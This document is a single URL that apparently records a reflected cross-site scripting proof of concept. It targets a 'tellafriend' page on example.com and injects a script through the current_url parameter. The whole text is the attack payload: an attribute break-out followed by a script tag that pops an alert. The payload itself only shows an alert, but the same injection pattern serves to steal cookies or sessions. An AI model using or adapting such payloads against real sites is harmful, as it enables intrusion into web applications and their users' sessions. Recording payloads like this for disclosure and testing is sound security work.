http://www.example.com/index.php?op=tellafriend&current_url=">/><script>alert(/xssed/)</script>